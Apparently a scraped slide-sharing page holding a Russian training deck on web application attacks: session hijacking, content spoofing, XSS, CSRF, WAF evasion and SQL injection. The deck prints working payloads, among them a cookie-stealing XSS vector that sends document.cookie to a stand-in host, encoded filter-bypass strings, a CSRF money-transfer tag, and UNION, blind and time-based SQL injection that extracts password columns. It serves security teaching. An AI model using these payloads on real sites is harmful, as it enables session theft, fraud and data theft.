XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
ONsec browsers security PHD2011
ONsec browsers security PHD2011ONsec browsers security PHD2011
ONsec browsers security PHD2011
 

Mais de Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

Mais de Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Атаки на web-приложения. Основы

  • 1. Атаки на web-приложения Основы Лепихин Владимир Учебный центр «Информзащита»
  • 2. Разминка Атаки на механизмы аутентификации Часть 1
  • 4. Компоненты web-приложения Клиент Сервер СУБД Приложений Web-сервер
  • 6. Подбор Подбор
  • 7. Варианты подбора • Подбор учётных данных • Подбор идентификатора сессии • Подбор названий директорий и файлов • Подбор критичных данных в полях ввода
  • 8. Credential/session prediction Предсказание идентификационных данных сессии
  • 9. Credential/session prediction • Предсказание или угадывание уникального идентификатора сессии пользователя с целью перехвата текущей сессии или последующей работы с web-сервером от имени скомпрометированного пользователя
  • 10. Credential/session prediction • HTTP – Stateless протокол • Для каждого запрашиваемого объекта создается собственная сессия TCP • Аутентифицирована только текущая сессия • На практике многие приложения требуют аутентификации нескольких соединений
  • 11. Credential/session prediction Идентификатор сессии сохраняется в поле cookie, скрытых полях форм или URL. Если атакующий имеет возможность определить алгоритм, используемый для генерации идентификатора сессии, он может : • подключиться к серверу, используя текущий идентификатор сессии; • вычислить или подобрать следующий идентификатор сессии; • присвоить полученное значение идентификатора cookie/скрытому полю формы/URL.
  • 12. Фиксация сессии Фиксация сессии
  • 13. Фиксация сессии Присвоение идентификатору сессии пользователя фиксированного значения, известного злоумышленнику, обычно выполняется в три стадии: • Установление сессии • Фиксация сессии • Подключение к сессии
  • 14. Практическая работа 1 Атаки на механизмы аутентификации: • Подбор • Перехват текущей сессии
  • 16. Клиент – наименее защищённый компонент Клиент Сервер СУБД Приложений Web-сервер
  • 17. Подмена содержимого Подмена содержимого
  • 18. Подмена содержимого • Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированы Web-сервером, а не переданы из внешнего источника.
  • 19. Подмена содержимого • Некоторые Web-страницы создаются с использованием динамических источников HTML-кода. • Например, расположение фрейма (<frame src=" http://foo.example/file.html">) может передаваться в параметре URL(http://foo.example/page?frame_src=http://foo.example/file.ht ml ). • Атакующий может заменить значение параметра "frame_src" на "frame_src= http://attacker.example/spoof.html". При отображении результирующей страницы в строке адреса браузера будет отображаться адрес сервера (foo.example), но так же на странице будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент.
  • 20. Подмена содержимого • Если атакующий спровоцировал пользователя на переход по специально созданной ссылке, у пользователя может создаться впечатление, что он просматривает данные с сервера, в то время как часть их была сгенерирована злоумышленником. • Таким образом, произойдет «дефейс» сайта http://foo.example на стороне пользователя, поскольку содержимое сервера будет загружено с сервера http://attacker.example. Эта атака так же может использоваться для создания ложных страниц, таких как формы ввода пароля, пресс-релизы и т.д.
  • 21. Подмена содержимого • Text only content spoofing • Markup reflected content spoofing
  • 22. Markup reflected content spoofing (пример) • Web-сервер динамически формирует фреймы на странице с пресс-релизами компании. • При переходе по ссылке http://foo.example/pr?pg=http://foo.example/pr/01012003.html загружается страница следующего содержания: <HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC="http://foo.example/pr/01012003.html”> </FRAMESET> </HTML>
  • 23. Markup reflected content spoofing (пример) • Фрейм "pr_content" отображает страницу, указанную в параметре "pg" HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на значение http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.ht ml и сервер не проводит проверки параметра "pg", результирующий HTML код будет иметь следующий вид: <HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html"> </FRAMESET> </HTML> • Для конечного пользователя содержимое, загруженное с сервера "attacker.example" будет выглядеть, как страница сервера "foo.example".
  • 24. Межсайтовое выполнение сценариев Межсайтовое выполнение сценариев
  • 25. Межсайтовое выполнение сценариев • Передача серверу HTML-кода, содержащего сценарии, которые впоследствии выполняются браузером клиента • Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера • Различают два варианта XSS: – Отражённый (non-persistent) – Сохранённый (persistent)
  • 26. Отражённый вариант Web-сервер http://web/?search="><script>alert('XSS')</script> ... <tr> <td valign="center"><input class="inputtext" type="text" name="q“ value=""><script>alert('XSS')</script>"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td> </tr> ...
  • 27. Сохранённый вариант <script> alert(document.cookie) </script> <script> alert(document.cookie) </script>
  • 28. Использование • Перехват сессии пользователя • Доступ к данным в контексте браузера • Перенаправление, подмена содержимого
  • 29. Где встречается XSS? • HTML-тэг • Тело JavaScript/VBScript/etc (eq DOM- based) • Код HTML • Параметр тэга HTML • Java/Flash приложения • ActiveX •…
  • 30. Пример обнаружения и использования • Возможный метод обнаружения уязвимости /?id="><script>alert(1)</script> – HTML-код возвращаемой страницы примет вид В параметре тега …<font size=""><script>alert(1)</script>"… В тексте …<p>"><script>alert(1)</script></p>… – В результате браузер выполнит JavaScript-код • Пример практического использования: "><script src=http://host/script.js></script>
  • 31. Пример обнаружения и использования • Уязвимый HTML-код: … <IMG SRC="$filename"> … • Эксплуатация: /?filename="onerror=alert('XSS');" /?filename="onerror=javascript:alert('XSS');" … • HTML-код возвращаемой страницы примет вид: … <IMG SRC=""onerror=alert('XSS');""> … • Пример практического использования: /?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(docu ment.cookie);"
  • 32. Пример использования (DOM-based) • Уязвимый код: ... <select><script> document.write("<OPTION value=1>"+document.location.href.substring (document.location.href.indexOf("default=")+8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select> ... • Штатная работа сценария: /?default=Russia /?default=French … • Эксплуатация: /?default=<script>alert(document.cookie)</script>
  • 33. Как это работает? Web-сервер 3. Переход по ссылке 6. Работа с Web-приложением от имени атакованного пользователя 1. fuzzing, поиск 4. Выполнение исполняемого уязвимости кода в браузере пользователя 5. Например, передача Web-сессии (cookies) 2. Передача «заряженной» ссылки: http://web/?search="><script>...</script>
  • 34. Подделка HTTP-запросов • Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF) – сложности при автоматизированном обнаружении – Однако эта ошибка встречается в том или ином виде во многих веб-приложениях – Степень опасности уязвимости CSRF зависит от функций и задач, решаемых приложением • Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению • Часто применяется связка XSS + CSRF
  • 35. Как это работает? Интернет-форум 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу: http://ibanking/action?... Интернет-банк (ibanking) 4. Если сессия пользователя существует, то… 1. Публикация сообщения: <img src=http://ibanking/action?account=12345&amount=500&for=54321>
  • 36. Фильтры (WAF) Нас атакуют! http://server/?id=6329&print=Y Ахтунг!!! WAF Webserver http://server/?id=5351 http://server/?id=8234 Нормализация данных Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. t, 001, xAA, uAABB) Null byte string termination ... Поиск сигнатуры http://server/?id=1+union+select... /(sel)(ect.+fr)(om)/is http://server/?id="><script>... /(uni)(on.+sel)(ect)/is ... http://server/?id=/../../../etc/passwd
  • 37. Методы обхода WAF • Фундаментальные ограничения технологии – Неспособность полностью защитить Web-приложение от всех возможных уязвимостей • Общие проблемы – балансировка между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика – Обработка возвращаемого клиенту трафика • Уязвимости реализации – Технологии нормализации запроса – Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)
  • 38. Методы обхода WAF • Сохраненный вариант XSS В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки • Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript) Пример: <script> ... setTimeout("writetitle()",$_GET[xss]) ... </script> Эксплуатация: /?xss=500); alert(document.cookie);// • DOM-based XSS Пример: <script> ... eval($_GET[xss]); ... </script> Эксплуатация: /?xss=document.cookie • Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8)
  • 39. Возможные способы кодирования JavaScript Пример: <script>alert(1)</script> Hex-кодирование (URL-представление) %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72% 69%70%74%3E HTML-кодирование &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74 ;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E; &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#4 9&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62 UTF7 +ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4- … UTF8, base64, escape-encoding (style), etc
  • 40. Практическая работа 2 • Подмена содержимого • Межсайтовое выполнение сценариев • Расщепление запроса
  • 41. Главная цель Часть 3
  • 42. Доступ к данным Клиент Сервер СУБД Приложений Web-сервер
  • 43. Внедрение SQL-кода Внедрение SQL-кода
  • 44. Внедрение SQL-кода • Метод обхода логики приложения и получения непосредственного доступа к данным путем внедрения во входную информацию, обрабатываемую приложением, операторов языка SQL
  • 45. Внедрение SQL-кода http://Server/inject.asp?id=1 select * from test where id=1 inject.asp id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query)
  • 46. Внедрение SQL-кода http://Server/inject.asp?id=1;delete from test select * from test where id=1; delete from test inject.asp id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query)
  • 47. Ещё пример Web-сервер СУБД http://web/?id=6329&print=Y …. SELECT * from news where id = 6329 ….
  • 48. Ещё пример Web-сервер СУБД http://web/?id=6329+union+select+id,pwd,0+from... …. SELECT * from news where id = 6329 union select id,pwd,0 from… ….
  • 49. Последствия внедрения SQL-кода • Обход ограничений пользовательского ввода • Получение доступа к данным • Модификация данных • Получение доступа к файловой системе
  • 50. Разновидности внедрения SQL-кода • Обычное • Слепое – Blind – Double Blind
  • 51. Обычное внедрение SQL-кода • Обнаружение уязвимости /?id=1+ORDER+BY+100 – SQL запрос примет вид SELECT id, name from table where id =1 ORDER BY 100 – В результате может быть получено следующее сообщение об ошибке ERROR 1054 (42S22): Unknown column '100' in 'order clause' • Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных из найденных таблиц /?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns – SQL запрос примет вид SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns – В результате может быть получена требуемая информация в формате | 0 | table1:column1 | | 0 | table1:column2 |
  • 52. SQL Injection – Различия СУБД MySQL MSSQL MS Access Oracle DB2 PostgreSQL '' concat '' concat(,) Объединение строк concat_ws(delim,) ' '+' ' " "&" " ' '||' ' " "+" " ' '||' ' ' '||' ' Комментарии -- и /**/ и # -- и /* Нет -- и /* -- -- и /* Объединение union union и ; union union union union и ; запросов Подзапросы v.4.1 >= Да Нет Да Да Да Хранимые процедуры Нет Да Нет Да Нет Да Наличие information_schema или его v.5.0 >= Да Да Да Да Да аналога Особенности эксплуатации для разных СУБД Пример (MySQL): SELECT * from table where id = 1 union select 1,2,3 Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3 Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
  • 53. SQL Injection – Различия СУБД • MySQL 4.1>= – Первая запись /?id=1 union select name,123 from users limit 0,1 – Вторая запись /?id=1 union select name,123 from users limit 1,1 • MSSQL – Первая запись /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=1 – Вторая запись /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=2 • PostgreSQL – Первая запись /?id=1 union select name, null from users limit 1 offset 0 – Вторая запись /?id=1 union select name, null from users limit 1 offset 1 ИЛИ – Первая запись /?id=1; select name, 123 from users limit 1 offset 0 – Вторая запись /?id=1; select name, 123 from users limit 1 offset 1
  • 54. Blind SQL Injection • Главная сложность: отсутствует сообщение об ошибке • Эксплуатируя уязвимость SQL Injection «слепым» методом, атакующий манипулирует логикой работы приложения (true/false)
  • 55. Способы обнаружения Blind SQL-инъекций http://site/?param=-1 OR 1=1 http://site/?param=-1 OR 1=1-- ... http://site/?param=-1' http://site/?param=-1' AND 1=2 ... http://site/?param=-1' OR '1'='1 ... http://site/?param=-1"/* ... http://site/?param=2 http://site/?param=1 http://site/?param=2-1 ... http://site/?param=1' AND 1=1 http://site/?param=1' AND '1'='1 …
  • 56. Способы использования Blind SQL-инъекций • Подбор первого символа у первой записи в таблице /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0 ,1),1,1))=97,555,777) – SQL запрос примет вид SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777) – В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.
  • 57. Способы использования Blind SQL-инъекций • Подбор второго символа у первой записи в таблице /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0 ,1),2,1))=97,555,777) – SQL запрос примет вид SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),2,1))=97,555,777) – В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.
  • 58. Double Blind SQL Injection • Эксплуатация уязвимости Double Blind SQL Injection основана на временных задержках • Для повышения быстродействия можно ограничить набор подбираемых символов. • Классическая реализация: /?id=1+AND+if((ascii(lower(substring((select password from user limit 0,1),0,1))))=97,1,benchmark(2000000,md5(now()))) – На основе временной задержки ответа от web-сервера можно сделать вывод, что подбираемый символ угадан – Манипулируя со значением 2000000, можно добиться приемлемой скорости под конкретное приложение – Аналог benchmark() - sleep(). Функция sleep() является более безопасной для подобных целей, т.к. не использует процессорные ресурсы сервера
  • 59. Практическая работа 3 • Внедрение SQL-кода